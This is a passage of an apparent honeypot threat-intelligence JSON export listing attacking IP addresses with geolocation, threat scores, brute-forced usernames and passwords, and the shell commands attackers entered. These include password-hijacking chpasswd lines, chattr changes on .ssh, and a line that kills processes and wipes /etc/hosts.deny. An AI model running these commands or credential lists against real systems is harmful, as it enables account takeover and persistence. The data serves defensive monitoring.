        "hackerhacker",
        "janicepass",
        "kamalkamal",
        "user123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"alyssa@123456\\n3bfG2hrWfYRv\\n3bfG2hrWfYRv\\n\"|passwd",
        "echo \"kamalkamal\\nd9xR27NUkAl6\\nd9xR27NUkAl6\\n\"|passwd",
        "echo \"root:pn4NTMdoLD2x\"|chpasswd|bash",
        "echo -e \"alyssa@123456\\n3bfG2hrWfYRv\\n3bfG2hrWfYRv\"|passwd|bash",
        "echo -e \"kamalkamal\\nd9xR27NUkAl6\\nd9xR27NUkAl6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135692,
      "as_org": "Global Ra Net Services Pvt. Ltd.",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T01:24:39.384000+00:00",
        "last_seen_30d": "2026-03-24T02:04:47.125000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 50
      }
    },
    "61.245.10.43": {
      "attack_count": 262,
      "first_seen": "2026-03-11T14:29:12.186Z",
      "last_seen": "2026-03-11T14:54:34.913Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jhpark",
        "mehedi",
        "tigergraph",
        "andre",
        "deployuser",
        "intell",
        "internet",
        "n8n",
        "odm",
        "robot",
        "yocto"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Intell123",
        "Internet123!",
        "jhpark123!",
        "n8n",
        "password",
        "robot123!",
        "tigergraphpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nTaskyy4uQ5io\\nTaskyy4uQ5io\\n\"|passwd",
        "echo \"jhpark123!\\nS95Bt57Jf1Ez\\nS95Bt57Jf1Ez\\n\"|passwd",
        "echo \"tigergraphpass\\nDhz51s5XvVIH\\nDhz51s5XvVIH\\n\"|passwd",
        "echo -e \"12345\\nTaskyy4uQ5io\\nTaskyy4uQ5io\"|passwd|bash",
        "echo -e \"jhpark123!\\nS95Bt57Jf1Ez\\nS95Bt57Jf1Ez\"|passwd|bash",
        "echo -e \"tigergraphpass\\nDhz51s5XvVIH\\nDhz51s5XvVIH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 19970,
      "as_org": "R&R Managed Telecom Services",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:29:12.186000+00:00",
        "last_seen_30d": "2026-03-11T14:55:44.903000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 39
      }
    },
    "103.165.116.60": {
      "attack_count": 254,
      "first_seen": "2026-03-02T11:04:47.986Z",
      "last_seen": "2026-03-02T11:28:58.408Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2580",
        "@aA123456",
        "Qwerty1234",
        "a!@sd",
        "aa162113",
        "hallo123",
        "kokos",
        "qq12345678",
        "qwe@123",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DVExTUJ2Cj2Z\"|chpasswd|bash",
        "echo \"root:QZlG6GYk0mon\"|chpasswd|bash",
        "echo \"root:fD3JMZ8xd7om\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 141858,
      "as_org": "Chota Bheam Industries",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:04:47.986000+00:00",
        "last_seen_30d": "2026-03-02T11:30:04.613000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 36
      }
    },
    "203.228.30.198": {
      "attack_count": 247,
      "first_seen": "2026-03-03T14:26:34.249Z",
      "last_seen": "2026-03-10T08:27:50.678Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "x",
        "anders",
        "asus",
        "clawd",
        "ftp_test",
        "hamza",
        "nova",
        "showroom",
        "silvia",
        "ubuntu22",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "12345678",
        "1234qwerASDF",
        "123zxc123",
        "Aa11223344",
        "Bingo@1993",
        "Dd12345678",
        "Huawei@12",
        "amir",
        "anders123",
        "asd.1234",
        "azertyuiop",
        "da123456!",
        "ftp_test",
        "hamza1234",
        "m"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nt5IZ0094VVUl\\nt5IZ0094VVUl\\n\"|passwd",
        "echo \"root:FxTDaN9Dsot6\"|chpasswd|bash",
        "echo -e \"password\\nt5IZ0094VVUl\\nt5IZ0094VVUl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mungyeong",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:26:34.249000+00:00",
        "last_seen_30d": "2026-03-10T08:28:53.373000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 63
      }
    },
    "211.251.245.88": {
      "attack_count": 236,
      "first_seen": "2026-03-28T10:29:35.136Z",
      "last_seen": "2026-03-28T12:11:30.436Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Welcome",
        "122222",
        "1234321",
        "123456789az",
        "1234@Abcd",
        "1Qa2Ws3Ed",
        "Huawei2025",
        "Tf123456789",
        "ZAQ!xsw2CDE#",
        "abcd321",
        "admin#",
        "netapp",
        "qian",
        "qwer@1",
        "roooooot",
        "root@112233",
        "toiyeuvietnam",
        "tsserver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WPrCHyxytTip\"|chpasswd|bash",
        "echo \"root:jBRTM4jHiBym\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:29:35.136000+00:00",
        "last_seen_30d": "2026-03-28T12:12:38.535000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "118.35.127.66": {
      "attack_count": 193,
      "first_seen": "2026-03-12T23:09:42.222Z",
      "last_seen": "2026-03-12T23:33:33.082Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "max",
        "client",
        "def",
        "devman",
        "gits",
        "proradis",
        "robot",
        "root",
        "syj",
        "test101"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Ch123456",
        "Robot123",
        "Syj123",
        "client123",
        "gits",
        "proradis123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n5J4tTKL2C4Qn\\n5J4tTKL2C4Qn\\n\"|passwd",
        "echo \"password\\nLLv8cOiZG0YH\\nLLv8cOiZG0YH\\n\"|passwd",
        "echo -e \"123456\\n5J4tTKL2C4Qn\\n5J4tTKL2C4Qn\"|passwd|bash",
        "echo -e \"password\\nLLv8cOiZG0YH\\nLLv8cOiZG0YH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nam-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T23:09:42.222000+00:00",
        "last_seen_30d": "2026-03-12T23:34:41.959000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "5.181.124.12": {
      "attack_count": 191,
      "first_seen": "2026-03-03T12:11:44.883Z",
      "last_seen": "2026-03-03T12:41:02.280Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456!",
        "1qa2ws#ED",
        "1qaz1qaz!QAZ",
        "A1b2c3d4",
        "Abc123456$",
        "Bingo@1993",
        "Dq@123456",
        "Joker123",
        "Lin123456",
        "kali",
        "pippo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JRNjtIfb4Sjs\"|chpasswd|bash",
        "echo \"root:O0Y0ePdwuWJp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:11:44.883000+00:00",
        "last_seen_30d": "2026-03-03T12:42:11.861000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "67.71.54.129": {
      "attack_count": 188,
      "first_seen": "2026-03-14T08:27:29.431Z",
      "last_seen": "2026-03-14T08:46:56.421Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dockeradmin",
        "internet",
        "root",
        "cyber",
        "git",
        "k8suser",
        "monitor",
        "ocs",
        "wade"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1998",
        "Cyber123",
        "gitea",
        "internet",
        "monitorpass",
        "password",
        "simple",
        "wade"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nYkcVFxl7NBDm\\nYkcVFxl7NBDm\\n\"|passwd",
        "echo \"internet\\nUYBnxh0CJHoE\\nUYBnxh0CJHoE\\n\"|passwd",
        "echo -e \"123456\\nYkcVFxl7NBDm\\nYkcVFxl7NBDm\"|passwd|bash",
        "echo -e \"internet\\nUYBnxh0CJHoE\\nUYBnxh0CJHoE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Concord",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T08:27:29.431000+00:00",
        "last_seen_30d": "2026-03-14T08:48:06.131000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "119.195.90.48": {
      "attack_count": 168,
      "first_seen": "2026-03-30T16:29:34.039Z",
      "last_seen": "2026-03-30T17:44:35.900Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@12QWqwqw",
        "1111!!!!",
        "12345g",
        "123abc,.",
        "24682468",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456#",
        "Changeme",
        "Fiberiptv0102",
        "LunaireEclipse",
        "P4ssword2025",
        "Test!@#123",
        "abcABC@123",
        "ad1234",
        "demotest",
        "emma",
        "kkk",
        "poker123",
        "rashid"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lOrQFYJYtp4m\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T16:29:34.039000+00:00",
        "last_seen_30d": "2026-03-30T17:45:39.638000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "161.35.173.173": {
      "attack_count": 149,
      "first_seen": "2026-03-25T06:54:34.197Z",
      "last_seen": "2026-03-29T08:04:04.386Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "ying",
        "345gs5662d34",
        "bruser",
        "cross",
        "django",
        "egressuser",
        "hook",
        "juniper",
        "localhost",
        "micky",
        "root",
        "rootftp",
        "secme",
        "student10",
        "tracker",
        "trojan",
        "ttx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe@123456789",
        "bruser",
        "cross",
        "django",
        "egressuser",
        "hook",
        "juniper",
        "localhost",
        "micky",
        "rootftp",
        "secme",
        "student10",
        "tracker",
        "trojan",
        "ttx",
        "ying"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ying\\ni8FeQ0NmbRqh\\ni8FeQ0NmbRqh\\n\"|passwd",
        "echo -e \"ying\\ni8FeQ0NmbRqh\\ni8FeQ0NmbRqh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T06:54:34.197000+00:00",
        "last_seen_30d": "2026-03-29T08:05:10.578000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 42
      }
    },
    "223.221.36.42": {
      "attack_count": 147,
      "first_seen": "2026-03-11T15:12:38.577Z",
      "last_seen": "2026-03-28T15:05:15.107Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ai",
        "cgpexpert",
        "dario",
        "dev",
        "minecraft",
        "nikola",
        "ossuser",
        "yhli"
      ],
      "passwords_attempted": [
        "12345",
        "Cgpexpert",
        "Changeme_123",
        "Dev@2025",
        "Nikola123!",
        "P@ssword123",
        "aipassword",
        "dario",
        "drpepper",
        "k123456",
        "liujing",
        "mauricio",
        "mine",
        "qazwsxedc321",
        "simple",
        "zimbra123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140061,
      "as_org": "Qinghai Telecom",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T15:12:38.577000+00:00",
        "last_seen_30d": "2026-03-28T15:15:22.587000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 147,
        "Suricata": 103
      }
    },
    "144.31.122.188": {
      "attack_count": 123,
      "first_seen": "2026-03-04T03:18:48.795Z",
      "last_seen": "2026-03-04T03:45:31.113Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1Q2w3e4r5t!",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12341234",
        "Asd123$",
        "Bingo@1993",
        "India@2023",
        "Js123456",
        "Root.2025",
        "SiChuanLT",
        "ahmad123",
        "m12345678",
        "reed"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vOkwmpXvbSBH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213520,
      "as_org": "Senko Digital LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 154,
